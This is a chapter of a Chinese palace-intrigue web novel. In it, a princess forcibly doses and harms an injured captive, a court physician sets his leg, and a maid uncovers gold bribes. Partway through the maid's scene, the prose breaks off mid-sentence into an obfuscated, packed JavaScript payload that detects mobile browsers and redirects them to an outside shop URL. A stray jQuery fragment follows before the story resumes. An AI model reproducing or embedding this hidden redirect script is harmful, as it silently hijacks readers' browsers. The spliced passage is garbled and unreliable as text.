29. 第 29 章
    大雨如被。

    安乐宫的西厢熏香缭绕,光线昏沉。

    床榻之侧,身着大袖的公主端着白玉汤碗,俯下身去。

    她捏住傅迟晏的下巴,迫使他启唇张开牙关。

    傅迟晏神智昏沉,无神的眸子微微张开一点,柔软的淡色薄唇被烫得红肿发涨,沾着星星点点的黑色药痕。

    他不知是梦是醒,懵懂地看着公主,口中喃喃低语。

    公主没有听清,她捏着残留药液的白玉汤匙,探入傅迟晏口中。

    舌面被压制,本就模糊的声音更加含混。

    公主捏着勺柄,慢条斯理地翻弄,像是要耐心地捞出可口糖水中,滑嫩的荔肉。

    透明津液自他的唇角滑下,他微微仰颈,一副难以喘息的样子。

    公主用勺底抵住他的上颌,将牙关分得更开,装着安神汤汁的药碗微微一倾,苦涩的药液灌了他满口。

    傅迟晏被公主捏着下颌,不受控地尽数吞下,而后被刺激得喘咳不停。

    他的眼神本已有几分清明,却又因安神汤的效用变得朦胧。

    傅迟晏气息起伏不定地仰躺在床上,乌发在他身下铺开,月光透窗入内,映出他面颊上的稠汁红痕,显得有几分可怜。

    公主将汤匙汤碗搁在一边,直起身来。

    傅迟晏却忽然抓住她的衣袖。

    他又在低声说什么。

    公主看着他一张一合的薄唇,月色下什么都没有听清。

    只觉得他像一头惶惶幼兽,寻求着主人。

    公主眨一下眼睛,饶有兴致地欣赏他狼狈不堪,又脆弱无助的样子。

    像是在看一只小羊羔,依偎在狼的爪心。

    公主没有被激起同情之心,反而升出暴虐之意,她顺势坐在床畔,抚过他身上的伤痕。

    掌心压到小腿上的裂痕,她忽而隔着皮肉攥住那截脆弱的骨头,毫不留情地向外拔伸。

    傅迟晏悲鸣一声,瞪大双眼,失神地看着公主,不知是梦是醒。

    公主对上他的眼眸,无情地笑一下。手上突然一提,用力回推。

    傅迟晏被激得仰颈,喉头溢出嘶哑的惨叫声。

    他挣扎起来。

    公主眉间闪过不耐的神色,一把扼住他的脖颈。傅迟晏胡乱反抗一会儿,终于两眼一翻,软下身子。

    公主直起身,将被折腾得昏死过去的人扔在那里,一甩袖,径自离开西厢。

    扶容守在厢房门口。见她出来,深深地低下头,“殿下。”

    扶容心中不安,不由得大着胆子多问一句,“此人……”

    此人事关重大,不容有失。不知这位对他做了什么……扶容立在门外,听到几欲将人逼死的喊叫。

    “快死了。”公主懒洋洋道。

    扶容一张脸霎时间变得面无人色。

    “你去找个人来,兴许还能救。”公主道。

    “敢问……是谁?”扶容问。

    “姚瑶。”公主对上扶容茫然的神色,冲她眨眨眼,“姚太医。”

    公主说完,便自行回到殿中,躺在床上歇下了。

    扶容心头划过几分异样的感觉,却无暇多想,她脚步匆匆地离开安乐宫,在宸安宫外,堵到脚步虚浮的姚太医。

    姚太医才盯完宋冽的伤,像一具行尸走肉一样,毫无生气地迈过宸安宫的门槛。

    身子发飘,眼冒金星,乱闪的金星中,姚太医看到恭候的扶容。

    姚太医扭头就走,“哈哈,累得瞧见幻觉了。”

    扶容毫不留情地击碎姚太医的幻想,出声道:“姚太医,扶容有事相求。”

    姚太医只觉得天旋地转,眼前一黑,双膝一软……

    被眼疾手快的扶容稳稳地拖住了。

    ……

    伴着雨声入梦,宋温陶这一觉睡得格外沉,醒来时分外疲惫。

    她隐约梦到了许多凌乱的画面,黑色的雨,断裂的白堤和红色的火焰。

    意识回笼,纷杂的梦立刻如潮水般褪去。宋温陶听到殿外传来人声,在嘈杂的雨声中显得不太真切。

    “姚太医,不如先移步书房休息片刻……”扶容的声音有些不安。

    “无妨。一会儿瞧傅氏郎君前我先往自己的合谷穴上扎一针便是……”姚太医的声音有气无力,“一针下去,醒脑开窍,绝不会误诊。”

    扶容更加不安,带着这个眼皮半阖、双目无神的太医走到廊下,殿门忽然被推开。

    宋温陶一身素衣,随意披了件云纹大袖,冲姚太医颔首,“多谢姚太医。”

    姚太医没什么气力说话,冲她胡乱地点点头,抬脚进了西厢。

    宋温陶跟进去的时候,姚太医已经在床前的圆凳上坐下,取出一枚细长的金针,驾轻就熟地扎入自己的手背。

    宋温陶瞧见,姚太医拇指和食指骨间的皮肤上,有不少针扎出的细密红点。

    猛然瞧见,让人头皮发麻。

    姚太医轻轻将金针捻动两下,随即拔出。

    原本半阖的恹恹的眼,转瞬间变得圆溜溜,衬得姚太医整个人,都多了几分朝气勃勃的清秀可爱。

    姚太医挽起袖子,扣住傅迟晏的脉,“气血不足,不过并无性命之忧。”

    又检查他身上的伤口,眸中闪过些许异色,“这伤……处理得好生漂亮。”

    “殿下若有高人相助,又何必拖我过来?”

    宋温陶在一旁安静看着,闻言眨两下眼,“哪有什么高人,不过有个宫人,会一点皮毛。”

    “姚太医仔细看看,他这腿……”

    姚太医摸到小腿上的骨裂,神色微诧,扬眉看宋温陶一眼,低声说:“殿下,若那宫人不会正骨,可万万不能胡来啊……”

    宋温陶迷惑一瞬,目露思索,心道,若说冯太医不会正骨,那应当是万万不可能的。

    可姚太医应当也不会当着她的面信口开河。

    莫不是……冯太医有问题?

    宋温陶想起太后今日的话,心道,应该是如此了。

    姚太医抬手为傅迟晏接骨,这时候,门外传来宫人的说话声。

    “您不是在太后娘娘身边伺候吗,来安乐宫可有事?”

    “太后娘娘贵体有恙,请姚太医回太医署,带着东西过去。”太后身边的内侍道。

    姚太医闻声飞快地提笔,留下几张方子,“有些事情微臣不必言明,想必殿下是知道的。今日之后,我不便再来。伤腿已经接好,殿下让那个会些皮毛的宫人,用木尺固定,伤处每日换药,另外,照着这张方子熬药便是。”

    姚太医伸手递出方子,宋温陶抬手接住。姚太医却不放手,抬眸盯着她,眼眸里涌动着一些东西。

    “殿下,陛下的情况,不太好……”

    “姚太医。”宋温陶看着这位神情焦急的年轻太医,“我明白。”

    姚太医眼眸微动,松开手中的方子。

    事情办完,姚太医好似迅速耗竭了精力,整个人又萎靡下来,向宋温陶行一礼,便无精打采地告退了。

    请人的内侍在外等候,姚太医整个人轻飘飘地,随他向外走去。

    “扶容。”宋温陶道,“把这药箱给姚太医送去。”

    她从药佛室中带出了不少东西,其中有一些精巧的器具和草草写就的行医手札。

    这些东西对平常人来说是无用的破烂,但是对姚太医,应当有用。

    安排妥当之后,宋温陶展开手上的方子,细细看过。

    她扫过几行飞扬的墨字,不由得蹙紧眉。

    依旧是清热解毒,活血化瘀的野菊连翘,三七红花之类,但剂量上……却减了一半!

    宋温陶思忖片刻,将这张方子递给烧火宫女。

    “将煎药的方子换了。”宋温陶道,“照着这上面的剂量来。”

    ……

    风雨如磐,宫道上鲜有人迹。

    扶容撑着伞将药箱送到太医署的时候,正逢送归冯太医的明华从门内出来。

    两人隔着伞下雨帘对视一眼,相望颔首,而后擦肩而过。

    扶容拎着药箱踏入太医署,弗一进门,就听到里面传来招呼声,“小姚

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095401|134580||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    啊,先别忙。”

    苍老的冯太医掀开食盒,将那碗还冒着热气的莲子粥端出来,“来,太后娘娘亲赐的莲子粥,还热乎着,要不要尝尝?”

    扶容见状忙道:“姚太医,这是您落下的药箱,殿下嘱我送过来。”

    姚太医露出迷茫的神情,心道,我哪里落下了药箱?

    “姚太医收好。”扶容将药箱递到他手中,意有所指地对上他的眼,“奴婢告退。”

    姚太医将药箱接过。

    扶容颔首退出门槛。

    姚太医将药箱抱在怀中,应和着冯太医的招呼上前,大大咧咧地翻找食盒,口中咕哝着,“有没有尚食局新做的月桂糖……”

    食盒掀到最后一层,里面金光一闪。

    扶容瞧见一排整齐的金锭,雕成精巧的花生形状。

    姚太医啪地一声阖上食盒,抱着药箱,意兴阑珊道:“没有,我去准备些东西,晚些去慈宁宫。”

    冯太医应了一声,抬起颤巍巍的手,低头舀一勺莲子粥。

    他已年迈,手不受控地轻抖,半勺汤粥泼洒出来,一颗莲子沿着桌面咕噜噜地滚动,啪唧一声摔在地上。

    “老了……”冯太医将剩下的半勺稀粥送入口中,“老喽。”

    姚太医躲入房中,悄悄将药箱打开,看到里面的行医手札。

    拿起翻过几页,姚太医手忽而有些颤抖,眼眸变得越来越亮。

    公主的这份礼,于她而言,实在贵重。

    扶容撑起伞,踏入雨幕中。

    ……

    安乐宫的小厨房边,有一口水井。

    烧火宫女戴着箬帽,弯下身子,吱呀呀地转动轱辘,打出一桶清水。

    她将水桶提进小厨房,将半桶清水倒进铁锅,半桶倒入铜盆里。

    烧火宫女填了几根柴,将火烧得更旺,又将另一口锅的锅盖掀开。

    热腾腾的水蒸气汹涌地冒出来,大锅内剩了一浅底的水,正咕噜噜地沸腾着,锅里煮着一些裁好的白布条。

    烧火宫女并不添水,又将锅盖盖上,端上那盆清水,绕过回廊,踏入西厢。

    宋温陶正在床边守着傅迟晏,听到她的动静,抬手将傅迟晏额上的布帕取下,浸入冷水里。

    “东西准备得怎么样了?”宋温陶将布帕摆开拧干,询问烧火宫女。

    “殿下要的那些布条,再有一盏茶的功夫,就能烘干了。”

    宋温陶点点头,取下烛台上正燃着的一根蜡烛,将其他蜡烛点亮。

    “去吩咐宫人准备几个炭盆来。”宋温陶看着豆大的烛火一生二,二生三,每多一簇火苗,屋内就亮上三分,“将库房里的檀木箱拿来。”

    不多时,宫人们就手脚麻利地将宋温陶要的东西准备好,垂首退下。

    宋温陶打开檀木箱,取出一把明晃晃的剪刀,细细地用刀尖割破火焰。

    傅迟晏被跳动的烛火晃醒,睁开酸涩的眼,瞧见公主一身浅色大袖衫,立在火苗跳动的九枝莲花烛台旁,手执刀刃,眉眼低垂。

    她立在光里,手执寒芒,让人分不清是观音还是罗刹。

    她的指尖纤长素白,在傅迟晏的乱梦里,却曾毫不留情地扼上他的脖颈,摧残他的裂骨。

    公主的影子映入傅迟晏深暗的眸底,他汗湿衣襟,一脸病容,眸中却有复杂的情绪隐秘涌动。

    “殿下。”珠帘被撞响,一个宫女端着一些用物进来,“您要的东西准备好了。”

    宋温陶应一声,宫女从善如流地那些物什搁在床边,颔首退下了。

    宋温陶将银剪刀挂在烛台的短枝上,取下腕上的白玉蛇镯,褪去飘曳的云纹大袖,在盛满清水的铜盆里净了净手。

    她手里拿厚竹尺,腕上搭长布条,走到烛台旁,拿起那把刀刃被炙得发黑的银剪刀。

    剪刀尖端泛起寒芒,她渐渐逼近。

    傅迟晏不由得挪动一下。

    他刚蜷一下腿,膝盖就被一把扣住。

    “不许动。”

    宋温陶俯身入罗帏,对上他的眼眸,轻声命令。